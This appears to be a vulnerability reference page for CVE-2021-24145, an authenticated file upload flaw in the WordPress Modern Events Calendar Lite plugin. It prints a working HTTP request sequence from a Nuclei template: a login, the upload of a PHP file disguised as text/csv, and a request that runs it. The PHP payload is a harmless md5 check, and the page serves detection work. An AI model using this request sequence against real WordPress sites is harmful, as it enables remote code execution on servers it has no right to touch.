🔙 목록으로 돌아가기

CVE-2021-24145: WordPress Modern Events Calendar Lite <5.16.5 - Authenticated Arbitrary File Upload

TitleWordPress Modern Events Calendar Lite <5.16.5 - Authenticated Arbitrary File Upload
Authortheamanrawat
SeverityHigh
ImpactRemote code execution
RemediationFixed in version 5.16.5.
CVSS Score7.2
EPSS Score0.92547
CVE IDCVE-2021-24145
CWE IDCWE-434
Tags cve cve2021 auth wpscan wordpress wp-plugin wp modern-events-calendar-lite rce intrusive webnus vuln

🔍 Vulnerability Description

WordPress Modern Events Calendar Lite plugin before 5.16.5 is susceptible to authenticated arbitrary file upload. The plugin does not properly check the imported file, allowing PHP files to be uploaded and/or executed by an administrator or other high-privilege user using the text/csv content-type in the request. This can possibly lead to remote code execution.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=2CBC1H&pwd=oZ5mgg&wp-submit=Log+In
POST /wp-admin/admin.php?page=MEC-ix&tab=MEC-import HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Content-Length: 435
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------132370916641787807752589698875
Accept-Encoding: gzip

-----------------------------132370916641787807752589698875

Content-Disposition: form-data; name="feed"; filename="38FFzRjqpBT8IOnWFLv33RN5iPu.php"

Content-Type: text/csv



<?php echo md5("CVE-2021-24145");unlink(__FILE__);?>



-----------------------------132370916641787807752589698875

Content-Disposition: form-data; name="mec-ix-action"



import-start-bookings

-----------------------------132370916641787807752589698875--
GET /wp-content/uploads/38FFzRjqpBT8IOnWFLv33RN5iPu.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.8
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24145.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24145.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A